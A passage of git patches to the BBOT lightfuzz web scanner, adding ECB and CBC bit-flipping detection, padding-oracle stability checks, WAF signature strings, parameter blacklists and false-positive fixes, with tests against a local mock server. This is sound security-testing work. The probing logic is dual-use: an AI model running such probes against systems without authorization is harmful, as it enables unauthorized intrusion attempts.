From 50a079cbc2671e8289089f5b5dcb7b7d116ee8d9 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 14 Mar 2026 18:58:05 -0400 Subject: [PATCH 01/50] Add ECB mode detection and CBC bit-flipping detection to crypto submodule - detect_ecb(): passive repeated-block analysis, zero HTTP requests - cbc_bitflip(): active test mutating penultimate block positions, 2 HTTP requests - Fix modify_string() treating position=0 as falsy --- bbot/modules/lightfuzz/submodules/crypto.py | 101 ++++++- .../module_tests/test_module_lightfuzz.py | 278 ++++++++++++++++++ 2 files changed, 377 insertions(+), 2 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index b91069a736..06dfb7ca09 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -26,6 +26,12 @@ class crypto(BaseLightfuzz): * Padding Oracle Vulnerabilities: - Identifies the presence of cryptographic oracles that could be exploited to arbitrary decrypt or encrypt data for the parameter value. + * ECB Mode Detection: + - Passively detects ECB mode encryption by checking for repeated ciphertext blocks in parameter values (zero HTTP requests). + + * CBC Bit-Flipping Detection: + - Actively tests whether mutating different byte positions in the penultimate ciphertext block produces distinguishable server responses, + indicating CBC mode without integrity protection (2 HTTP requests). """ @@ -174,7 +180,7 @@ def modify_string(input_string, action="truncate", position=None, extension_leng if action == "truncate": modified_data = data[:-1] # Remove the last byte elif action == "mutate": - if not position: + if position is None: position = len(data) // 2 if position < 0 or position >= len(data): raise ValueError("Position out of range") @@ -184,7 +190,7 @@ def modify_string(input_string, action="truncate", position=None, extension_leng elif action == "extend": modified_data = data + (b"\x00" * extension_length) elif action == "flip": - if not position: + if position is None: position = len(data) // 2 if position < 0 or position >= len(data): raise ValueError("Position out of range") @@ -222,6 +228,90 @@ def possible_block_sizes(ciphertext_length): possible_sizes.append(block_size) return possible_sizes + def detect_ecb(self, probe_value): + """ + Passively detect ECB mode encryption by checking for repeated ciphertext blocks. + ECB encrypts each block independently, so identical plaintext blocks produce identical + ciphertext blocks. Zero HTTP requests required. + """ + data, encoding = self.format_agnostic_decode(probe_value) + if encoding == "unknown": + return + for block_size in self.possible_block_sizes(len(data)): + blocks = [data[i : i + block_size] for i in range(0, len(data), block_size)] + if len(blocks) != len(set(blocks)): + context = f"Lightfuzz Cryptographic Probe Submodule detected ECB mode encryption in parameter: [{self.event.data['name']}]" + self.results.append( + { + "severity": "MEDIUM", + "name": "ECB Mode Encryption Detected", + "confidence": "MEDIUM", + "description": f"ECB Mode Encryption Detected. Block size: [{block_size}] {self.metadata()}", + "context": context, + } + ) + return # Report first matching block size only + + async def cbc_bitflip(self, probe_value, cookies): + """ + Detect CBC bit-flipping vulnerability by mutating different byte positions in the + penultimate ciphertext block. In CBC mode, modifying byte N of block K affects byte N + of the decrypted block K+1. If the server produces distinguishable responses for + different mutation positions, it indicates CBC without integrity protection. + Cost: 2 HTTP requests. + """ + data, encoding = self.format_agnostic_decode(probe_value) + if encoding == "unknown": + return + for block_size in self.possible_block_sizes(len(data)): + num_blocks = len(data) // block_size + if num_blocks < 2: + continue + penultimate_start = (num_blocks - 2) * block_size + # Mutate first byte of penultimate block + try: + probe_a = self.modify_string(probe_value, action="mutate", position=penultimate_start) + except ValueError: + continue + # Mutate middle byte of penultimate block + try: + probe_b = self.modify_string( + probe_value, action="mutate", position=penultimate_start + block_size // 2 + ) + except ValueError: + continue + # Use probe_a as the baseline, compare probe_b against it + http_compare = self.compare_baseline(self.event.data["type"], probe_a, cookies) + try: + result = await self.compare_probe(http_compare, self.event.data["type"], probe_b, cookies) + except HttpCompareError as e: + self.verbose(f"Encountered HttpCompareError during CBC bit-flip test: {e}") + continue + if result[0] is False and "body" in result[1]: + # Strip reflected probe values to avoid false positives + stripped_baseline = http_compare.baseline.text + stripped_probe = result[3].text + for encoded_a, encoded_b in [ + (probe_a, probe_b), + (probe_a.replace("+", " "), probe_b.replace("+", " ")), + (quote(probe_a), quote(probe_b)), + ]: + stripped_baseline = stripped_baseline.replace(encoded_a, "") + stripped_probe = stripped_probe.replace(encoded_b, "") + if stripped_baseline == stripped_probe: + continue + context = f"Lightfuzz Cryptographic Probe Submodule detected probable CBC bit-flipping in parameter: [{self.event.data['name']}]" + self.results.append( + { + "severity": "MEDIUM", + "name": "CBC Bit-Flipping Detected", + "confidence": "MEDIUM", + "description": f"CBC Bit-Flipping Detected. Block size: [{block_size}] {self.metadata()}", + "context": context, + } + ) + return # Report first matching block size only + async def padding_oracle_execute(self, original_data, encoding, block_size, cookies, possible_first_byte=True): """ Execute the padding oracle attack for a given block size. @@ -428,6 +518,10 @@ async def fuzz(self): self.debug("Parameter value does not appear to be cryptographic, aborting tests") return + # ECB Mode Detection (passive, zero HTTP requests) + if possible_block_cipher: + self.detect_ecb(probe_value) + # Cryptographic Response Divergence Test http_compare = self.compare_baseline(self.event.data["type"], probe_value, cookies) @@ -488,6 +582,9 @@ async def fuzz(self): ) await self.padding_oracle(probe_value, cookies) + # CBC Bit-Flipping Test + await self.cbc_bitflip(probe_value, cookies) + # Hash identification / Potential Length extension attack data, encoding = crypto.format_agnostic_decode(probe_value) # see if its possible that a given value is a hash, and if so, which one diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 9e0fa18d37..dbae78e822 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -2338,6 +2338,284 @@ class Test_Lightfuzz_envelope_isolation_paddingoracle_reflecting(Test_Lightfuzz_ } +# ECB Mode Detection: ciphertext with repeated 16-byte blocks (A+B+A+B pattern) +class Test_Lightfuzz_ECBDetection(ModuleTestBase): + targets = ["http://127.0.0.1:8888/"] + modules_overrides = ["httpx", "excavate", "lightfuzz"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": {"enabled_submodules": ["crypto"]}, + }, + } + + # Two 16-byte blocks with non-overlapping byte values (high entropy), repeated A+B+A+B + _block_a = bytes(range(16)).hex() # 000102...0f + _block_b = bytes(range(128, 144)).hex() # 808182...8f + ecb_ciphertext_hex = _block_a + _block_b + _block_a + _block_b + + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = f""" +
+
+ + +
+
+ """ + if "token=" in qs: + return Response("OK", status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + ecb_detected = False + for e in events: + if e.type == "FINDING": + if "ECB Mode Encryption Detected" in e.data["description"]: + ecb_detected = True + assert ecb_detected, "ECB Mode Encryption FINDING not emitted" + + +# ECB Negative: all unique blocks, should NOT detect ECB +class Test_Lightfuzz_ECBDetection_Negative(ModuleTestBase): + targets = ["http://127.0.0.1:8888/"] + modules_overrides = ["httpx", "excavate", "lightfuzz"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": {"enabled_submodules": ["crypto"]}, + }, + } + + # 4 unique 16-byte blocks with non-overlapping byte values (high entropy, no repeats) + unique_ciphertext_hex = ( + bytes(range(0, 16)).hex() + + bytes(range(64, 80)).hex() + + bytes(range(128, 144)).hex() + + bytes(range(192, 208)).hex() + ) + + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = f""" +
+
+ + +
+
+ """ + if "token=" in qs: + return Response("OK", status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + for e in events: + if e.type == "FINDING": + assert "ECB Mode Encryption Detected" not in e.data["description"], ( + "ECB falsely detected on unique blocks" + ) + + +# CBC Bit-Flipping Detection: server returns different responses for different byte-position mutations +class Test_Lightfuzz_CBCBitflipDetection(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["httpx", "excavate", "lightfuzz"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": {"enabled_submodules": ["crypto"]}, + }, + } + + # 3 blocks of 16 bytes = 48 bytes, base64-encoded + original_b64 = base64.b64encode(bytes(range(48))).decode() + + def request_handler(self, request): + encrypted_value = quote(self.original_b64) + default_html = f""" + +
+ + +
+ + """ + if "/process" in request.url and request.method == "POST": + if request.form and request.form.get("cipher"): + cipher_val = request.form["cipher"] + try: + raw = base64.b64decode(cipher_val) + except Exception: + return Response("Invalid input", status=200) + # Penultimate block starts at byte 16 + # Check which byte in the penultimate block differs from original + original_raw = bytes(range(48)) + if len(raw) == len(original_raw): + penultimate_start = 16 + for i in range(penultimate_start, penultimate_start + 16): + if raw[i] != original_raw[i]: + # First byte (pos 16) vs middle byte (pos 24) produce different responses + if i < penultimate_start + 8: + return Response("Decryption result: type A", status=200) + else: + return Response("Decryption result: type B", status=200) + return Response("Decryption failed", status=200) + return Response("Decryption failed", status=200) + return Response(default_html, status=200) + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests_handler(expect_args=re.compile(".*"), request_handler=self.request_handler) + + def check(self, module_test, events): + cbc_bitflip_detected = False + for e in events: + if e.type == "FINDING": + if "CBC Bit-Flipping Detected" in e.data["description"]: + cbc_bitflip_detected = True + assert cbc_bitflip_detected, "CBC Bit-Flipping Detected FINDING not emitted" + + +# CBC Bit-Flipping Negative: server returns identical response regardless of mutation position +class Test_Lightfuzz_CBCBitflipDetection_Negative(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["httpx", "excavate", "lightfuzz"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": {"enabled_submodules": ["crypto"]}, + }, + } + + original_b64 = base64.b64encode(bytes(range(48))).decode() + + def request_handler(self, request): + encrypted_value = quote(self.original_b64) + default_html = f""" + +
+ + +
+ + """ + if "/process" in request.url and request.method == "POST": + return Response("Decryption failed", status=200) + return Response(default_html, status=200) + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests_handler(expect_args=re.compile(".*"), request_handler=self.request_handler) + + def check(self, module_test, events): + for e in events: + if e.type == "FINDING": + assert "CBC Bit-Flipping Detected" not in e.data["description"], ( + "CBC Bit-Flipping falsely detected on identical responses" + ) + + +# CBC Bit-Flipping without Padding Oracle: server never fails decryption (OPENSSL_ZERO_PADDING equivalent). +# Every input produces a unique response derived from the submitted value — no padding validity leaked. +# Padding oracle sends ~254 probes that all get unique responses → differ_count >> block_size → not detected. +# CBC bit-flip probes still produce different responses → detected. +class Test_Lightfuzz_CBCBitflipDetection_NoPaddingOracle(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["httpx", "excavate", "lightfuzz"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": {"enabled_submodules": ["crypto"]}, + }, + } + + # 3 blocks of 16 bytes = 48 bytes, base64-encoded + original_b64 = base64.b64encode(bytes(range(48))).decode() + + def request_handler(self, request): + encrypted_value = quote(self.original_b64) + default_html = f""" + +
+ + +
+ + """ + if "/process" in request.url and request.method == "POST": + if request.form and request.form.get("cipher"): + cipher_val = request.form["cipher"] + # No error paths — always return content derived from input. + # Simulates OPENSSL_ZERO_PADDING: decryption never fails. + import hashlib + + digest = hashlib.md5(cipher_val.encode()).hexdigest() + return Response(f"Session loaded: {digest}", status=200) + return Response("Session loaded: default", status=200) + return Response(default_html, status=200) + + async def setup_after_prep(self, module_test): + module_test.set_expect_requests_handler(expect_args=re.compile(".*"), request_handler=self.request_handler) + + def check(self, module_test, events): + cbc_bitflip_detected = False + padding_oracle_detected = False + for e in events: + if e.type == "FINDING": + if "CBC Bit-Flipping Detected" in e.data["description"]: + cbc_bitflip_detected = True + if "Padding Oracle Vulnerability" in e.data["description"]: + padding_oracle_detected = True + assert cbc_bitflip_detected, "CBC Bit-Flipping should be detected even without padding oracle" + assert not padding_oracle_detected, "Padding Oracle should NOT be detected when decryption never fails" + + +# Envelope state isolation: ECB detection with all submodules enabled +class Test_Lightfuzz_envelope_isolation_ecb(Test_Lightfuzz_ECBDetection): + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": { + "enabled_submodules": ["sqli", "cmdi", "xss", "path", "ssti", "crypto", "serial", "esi"], + } + }, + } + + +# Envelope state isolation: CBC bit-flip detection with all submodules enabled +class Test_Lightfuzz_envelope_isolation_cbc_bitflip(Test_Lightfuzz_CBCBitflipDetection): + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": { + "enabled_submodules": ["sqli", "cmdi", "xss", "path", "ssti", "crypto", "serial", "esi"], + } + }, + } + + +# Envelope state isolation: CBC bit-flip without padding oracle, all submodules enabled +class Test_Lightfuzz_envelope_isolation_cbc_bitflip_no_po(Test_Lightfuzz_CBCBitflipDetection_NoPaddingOracle): + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": { + "enabled_submodules": ["sqli", "cmdi", "xss", "path", "ssti", "crypto", "serial", "esi"], + } + }, + } + + # Test filter_event method with WAF tags class Test_Lightfuzz_filter_event(ModuleTestBase): targets = ["http://127.0.0.1:8888"] From cd381f85ea0073b09bbb4551b568c678153c589d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 15 Mar 2026 12:34:57 -0400 Subject: [PATCH 02/50] Reduce lightfuzz false positives: centralize WAF detection, blacklist CSRF tokens, remove generic error string - Add get_waf_strings() helper to misc.py with 7 common WAF signatures - Use centralized WAF list in path.py and serial.py instead of hardcoded strings - Blacklist CSRF tokens and ASP.NET session cookies in defaults.yml - Remove overly generic "access denied" from crypto error strings --- bbot/core/helpers/misc.py | 23 +++++++++++++++++++ bbot/defaults.yml | 10 ++++++++ bbot/modules/lightfuzz/submodules/crypto.py | 1 - bbot/modules/lightfuzz/submodules/path.py | 5 +++- bbot/modules/lightfuzz/submodules/serial.py | 4 ++-- .../module_tests/test_module_lightfuzz.py | 2 +- 6 files changed, 40 insertions(+), 5 deletions(-) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index eb2e322bac..37d39abdd8 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2694,6 +2694,29 @@ def get_waf_strings(): ] +def get_waf_strings(): + """ + Returns a list of common WAF (Web Application Firewall) detection strings. + + Returns: + list: List of WAF detection strings + + Examples: + >>> waf_strings = get_waf_strings() + >>> "The requested URL was rejected" in waf_strings + True + """ + return [ + "The requested URL was rejected", + "This content has been blocked", + "You don't have permission to access ", + "The URL you requested has been blocked", + "Request unsuccessful. Incapsula incident", + "Access Denied - Sucuri Website Firewall", + "Attention Required! | Cloudflare", + ] + + def clean_dns_record(record): """ Cleans and formats a given DNS record for further processing. diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 3856a1f644..e0f27de6fc 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -262,6 +262,16 @@ parameter_blacklist: - PHPSESSID - __cf_bm - f5_cspm + # CSRF / Anti-Forgery tokens + - authenticity_token + - csrfmiddlewaretoken + - __RequestVerificationToken + - antiforgerytoken + - __csrf_magic + - _wpnonce + # ASP.NET session/identity cookies + - .ASPXANONYMOUS + - .ASPXAUTH parameter_blacklist_prefixes: - TS01 diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 06dfb7ca09..077d283743 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -69,7 +69,6 @@ def is_base64(s): "key does not exist", "the parameter is incorrect", "cryptography exception", - "access denied", "unknown error", "invalid provider type", "no valid cert found", diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index eb866eac8f..2fabc16ce0 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -113,7 +113,10 @@ async def fuzz(self): and doubledot_probe[0] is False and doubledot_probe[3] is not None and doubledot_probe[1] != ["header"] - and "The requested URL was rejected" not in doubledot_probe[3].text + and not any( + waf_string in doubledot_probe[3].text + for waf_string in self.lightfuzz.helpers.get_waf_strings() + ) ): confirmations += 1 self.verbose(f"Got possible Path Traversal detection: [{str(confirmations)}] Confirmations") diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 508fe98ab9..b019b1bfb3 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -1,5 +1,6 @@ from .base import BaseLightfuzz from bbot.errors import HttpCompareError +from bbot.core.helpers.misc import get_waf_strings class serial(BaseLightfuzz): @@ -50,8 +51,7 @@ class serial(BaseLightfuzz): GENERAL_ERRORS = [ "Internal Error", "Internal Server Error", - "The requested URL was rejected", - ] + ] + get_waf_strings() def is_possibly_serialized(self, value): # Use the is_base64 method from BaseLightfuzz via self diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index dbae78e822..bf38e6edb2 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1687,7 +1687,7 @@ def request_handler(self, request): """ crypto_block = """
-

Access Denied!

+

Padding is invalid


""" From 2563c76d4d4c63aa37112ce28224a5282cc4be69 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 16 Mar 2026 19:25:11 -0400 Subject: [PATCH 03/50] Skip parameter extraction from out-of-scope redirect targets --- bbot/modules/internal/excavate.py | 50 +++++++++++-------- .../module_tests/test_module_excavate.py | 34 +++++++++++++ 2 files changed, 64 insertions(+), 20 deletions(-) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 7f8c559471..1d504e3486 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -1250,26 +1250,36 @@ async def handle_event(self, event, **kwargs): # Try to extract parameters from the redirect URL if self.parameter_extraction: - for ( - method, - parsed_url, - parameter_name, - original_value, - regex_name, - additional_params, - ) in extract_params_location(header_value, event.parsed_url): - if self.in_bl(parameter_name) is False: - await self.emit_web_parameter( - host=parsed_url.hostname, - param_type="GETPARAM", - name=parameter_name, - original_value=original_value, - url=self.url_unparse("GETPARAM", parsed_url), - description=f"HTTP Extracted Parameter [{parameter_name}] (Location Header)", - additional_params=additional_params, - event=event, - context=f"Excavate parsed a location header for parameters and found [GETPARAM] Parameter Name: [{parameter_name}] and emitted a WEB_PARAMETER for it", - ) + # Don't extract parameters from out-of-scope redirects — + # they would inherit in-scope status from the parent event + # and cause lightfuzz to fuzz external endpoints + redirect_parsed = urlparse(redirect_location) + redirect_host = redirect_parsed.hostname + if redirect_host and not self.scan.in_scope(redirect_host): + self.debug( + f"Skipping parameter extraction from out-of-scope redirect to {redirect_host}" + ) + else: + for ( + method, + parsed_url, + parameter_name, + original_value, + regex_name, + additional_params, + ) in extract_params_location(header_value, event.parsed_url): + if self.in_bl(parameter_name) is False: + await self.emit_web_parameter( + host=parsed_url.hostname, + param_type="GETPARAM", + name=parameter_name, + original_value=original_value, + url=self.url_unparse("GETPARAM", parsed_url), + description=f"HTTP Extracted Parameter [{parameter_name}] (Location Header)", + additional_params=additional_params, + event=event, + context=f"Excavate parsed a location header for parameters and found [GETPARAM] Parameter Name: [{parameter_name}] and emitted a WEB_PARAMETER for it", + ) else: self.warning("location header found but missing redirect_location in HTTP_RESPONSE") if header.lower() == "content-type": diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 6d56911723..cac9cc9040 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -1570,3 +1570,37 @@ def check(self, module_test, events): e for e in events if e.type == "FINDING" and "ftp://ftp.test.notreal" in e.data.get("description", "") ] assert len(ftp_findings) == 0, f"PDF body should not produce findings, but got: {ftp_findings}" + + +class TestExcavateRedirectParameterScope(ModuleTestBase): + """Verify that parameter extraction is skipped for out-of-scope redirect targets. + + When an in-scope HTTP response has a Location header pointing to an external + out-of-scope domain, the redirect URL's query parameters should NOT be emitted + as WEB_PARAMETER events, because they would inherit the in-scope parent's scope + distance and cause lightfuzz to fuzz external endpoints. + """ + + targets = ["http://127.0.0.1:8888/"] + modules_overrides = ["httpx", "excavate", "hunt"] + + async def setup_before_prep(self, module_test): + module_test.httpserver.expect_request("/").respond_with_data( + "", + status=302, + headers={"Location": "https://login.microsoftonline.com/oauth2/authorize?state=abc123&client_id=test456"}, + ) + + def check(self, module_test, events): + # The redirect URL itself should be emitted as URL_UNVERIFIED (that's correct behavior) + assert any(e.type == "URL_UNVERIFIED" and "login.microsoftonline.com" in e.data for e in events), ( + "Redirect URL_UNVERIFIED should still be emitted" + ) + + # But NO WEB_PARAMETER events should be emitted for the out-of-scope redirect's parameters + redirect_params = [ + e for e in events if e.type == "WEB_PARAMETER" and "login.microsoftonline.com" in e.data.get("url", "") + ] + assert len(redirect_params) == 0, ( + f"Out-of-scope redirect parameters should not be extracted, but got: {redirect_params}" + ) From 749a695decd263d24a733b511303c4e51be760d4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 18 Mar 2026 10:03:14 -0400 Subject: [PATCH 04/50] Fix lightfuzz false positives: crypto jitter stability, XSS context verification, SQLi WAF detection - Add endpoint stability pre-check to padding oracle and CBC bitflip tests - Verify XSS probe matches appear in the correct HTML context - Suppress SQLi findings when single-quote probe triggers WAF 403 - Blacklist PKCE and Akamai Bot Manager parameters --- bbot/defaults.yml | 8 + bbot/modules/lightfuzz/submodules/crypto.py | 33 ++++ bbot/modules/lightfuzz/submodules/sqli.py | 35 +++- bbot/modules/lightfuzz/submodules/xss.py | 63 +++++-- .../module_tests/test_module_lightfuzz.py | 161 ++++++++++++++++++ 5 files changed, 281 insertions(+), 19 deletions(-) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index e0f27de6fc..c04b3f2549 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -272,6 +272,14 @@ parameter_blacklist: # ASP.NET session/identity cookies - .ASPXANONYMOUS - .ASPXAUTH + # PKCE (Proof Key for Code Exchange) + - code_verifier + - code_challenge + # Akamai Bot Manager + - _abck + - bm_sz + - bm_sv + - ak_bmsc parameter_blacklist_prefixes: - TS01 diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 077d283743..56bb0a67f5 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -262,6 +262,9 @@ async def cbc_bitflip(self, probe_value, cookies): data, encoding = self.format_agnostic_decode(probe_value) if encoding == "unknown": return + # Stability pre-check: verify the endpoint returns consistent responses + if not await self._check_endpoint_stability(probe_value, encoding, cookies): + return for block_size in self.possible_block_sizes(len(data)): num_blocks = len(data) // block_size if num_blocks < 2: @@ -389,12 +392,42 @@ async def padding_oracle_execute(self, original_data, encoding, block_size, cook return None return False + async def _check_endpoint_stability(self, probe_value, encoding, cookies): + """Send the same probe value multiple times and verify the endpoint returns consistent responses. + Returns True if stable, False if responses vary for identical inputs (jitter).""" + data, _ = self.format_agnostic_decode(probe_value) + if encoding == "unknown": + return True + # Build a fixed probe to test stability + stability_value = self.format_agnostic_encode(b"\x00" * 16 + data[-16:], encoding) + stability_hashes = [] + for _ in range(3): + r = await self.standard_probe(self.event.data["type"], cookies, stability_value) + if r: + body = r.text + for encoded in [stability_value, stability_value.replace("+", " "), quote(stability_value)]: + body = body.replace(encoded, "") + stability_hashes.append(hash(body)) + if len(set(stability_hashes)) > 1: + self.debug( + f"Endpoint produces unstable responses for identical inputs " + f"({len(set(stability_hashes))}/{len(stability_hashes)} unique), " + f"skipping differential analysis" + ) + return False + return True + async def padding_oracle(self, probe_value, cookies): data, encoding = self.format_agnostic_decode(probe_value) possible_block_sizes = self.possible_block_sizes( len(data) ) # determine possible block sizes for the ciphertext + # Stability pre-check: verify the endpoint returns consistent responses + # for identical inputs before attempting differential analysis + if not await self._check_endpoint_stability(probe_value, encoding, cookies): + return + for block_size in possible_block_sizes: padding_oracle_result = await self.padding_oracle_execute(data, encoding, block_size, cookies) # if we get a negative result first, theres a 1/255 change it's a false negative. To rule that out, we must retry again with possible_first_byte set to false diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index 4d2633f34f..094841afb6 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -1,5 +1,6 @@ from .base import BaseLightfuzz from bbot.errors import HttpCompareError +from bbot.core.helpers.misc import get_waf_strings import statistics @@ -119,14 +120,32 @@ async def fuzz(self): if "code" in single_quote[1] and ( single_quote[3].status_code != double_single_quote[3].status_code ): - self.results.append( - { - "name": "Possible SQL Injection", - "severity": "HIGH", - "confidence": "MEDIUM", - "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({http_compare.baseline.status_code}->{single_quote[3].status_code}->{double_single_quote[3].status_code})]", - } - ) + # Check if the status code change is due to a WAF, not SQL injection + if single_quote[3].status_code == 403: + waf_detected = any(ws in single_quote[3].text for ws in get_waf_strings()) + if waf_detected: + self.debug( + "Single quote probe returned 403 with WAF signature, " + "suppressing SQL injection finding" + ) + else: + self.results.append( + { + "name": "Possible SQL Injection", + "severity": "HIGH", + "confidence": "MEDIUM", + "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({http_compare.baseline.status_code}->{single_quote[3].status_code}->{double_single_quote[3].status_code})]", + } + ) + else: + self.results.append( + { + "name": "Possible SQL Injection", + "severity": "HIGH", + "confidence": "MEDIUM", + "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({http_compare.baseline.status_code}->{single_quote[3].status_code}->{double_single_quote[3].status_code})]", + } + ) else: self.debug("Failed to get responses for both single_quote and double_single_quote") except HttpCompareError as e: diff --git a/bbot/modules/lightfuzz/submodules/xss.py b/bbot/modules/lightfuzz/submodules/xss.py index 827afc33e5..c61e6f413e 100644 --- a/bbot/modules/lightfuzz/submodules/xss.py +++ b/bbot/modules/lightfuzz/submodules/xss.py @@ -84,21 +84,62 @@ def is_balanced(section, target_index, quote_char): # If we have no matches, the target string is most likely not within quotes return "outside" + def _verify_match_context(self, html, match, context): + """Verify the match appears in the correct HTML context, not just anywhere in the response. + When the same parameter is reflected in multiple contexts with different encoding, + a match found in the wrong context can cause false positives.""" + if "Tag Attribute" in context: + # Verify match is inside a tag (between < and >), not in text content + pos = html.find(match) + while pos != -1: + preceding = html[:pos] + last_open = preceding.rfind("<") + last_close = preceding.rfind(">") + if last_open > last_close: + return True + pos = html.find(match, pos + 1) + return False + elif "Between Tags" in context: + pos = html.find(match) + while pos != -1: + preceding = html[:pos] + last_open = preceding.rfind("<") + last_close = preceding.rfind(">") + if last_close > last_open: + return True + pos = html.find(match, pos + 1) + return False + elif "In Javascript" in context: + in_js_regex = re.compile( + rf"]*>[^<]*(?:<(?!\/script>)[^<]*)*{re.escape(match)}" + rf"[^<]*(?:<(?!\/script>)[^<]*)*<\/script>" + ) + return bool(in_js_regex.search(html)) + return True + async def check_probe(self, cookies, probe, match, context): # Send the defined probe and look for the expected match value in the response probe_result = await self.standard_probe(self.event.data["type"], cookies, probe) - if probe_result and match in probe_result.text: - self.results.append( - { - "name": "Possible Reflected XSS", - "severity": "MEDIUM", - "confidence": "MEDIUM", - "type": "FINDING", - "description": f"Possible Reflected XSS. Parameter: [{self.event.data['name']}] Context: [{context}] Parameter Type: [{self.event.data['type']}]{self.conversion_note()}", - } + if not probe_result or match not in probe_result.text: + return False + + if not self._verify_match_context(probe_result.text, match, context): + self.debug( + f"Probe match found in response but not in the expected context [{context}]. " + f"Likely reflected in a different context with different encoding. Suppressing." ) - return True - return False + return False + + self.results.append( + { + "name": "Possible Reflected XSS", + "severity": "MEDIUM", + "confidence": "MEDIUM", + "type": "FINDING", + "description": f"Possible Reflected XSS. Parameter: [{self.event.data['name']}] Context: [{context}] Parameter Type: [{self.event.data['type']}]{self.conversion_note()}", + } + ) + return True async def fuzz(self): lightfuzz_event = self.event.parent diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index bf38e6edb2..9ece412dc9 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -2853,3 +2853,164 @@ def check(self, module_test, events): assert sqli_postparam_converted_finding_emitted, ( "SQLi POSTPARAM (converted from GETPARAM) FINDING not emitted (try_get_as_post failed)" ) + + +# Padding Oracle Jitter Stability Pre-Check +class Test_Lightfuzz_PaddingOracleDetection_JitterStability(Test_Lightfuzz_PaddingOracleDetection): + """Padding oracle negative test: the endpoint produces different response bodies for identical inputs + (e.g. ADFS with embedded timestamps/nonces). The stability pre-check should detect this and skip.""" + + jitter_counter = 0 + + def request_handler(self, request): + encrypted_value = quote( + 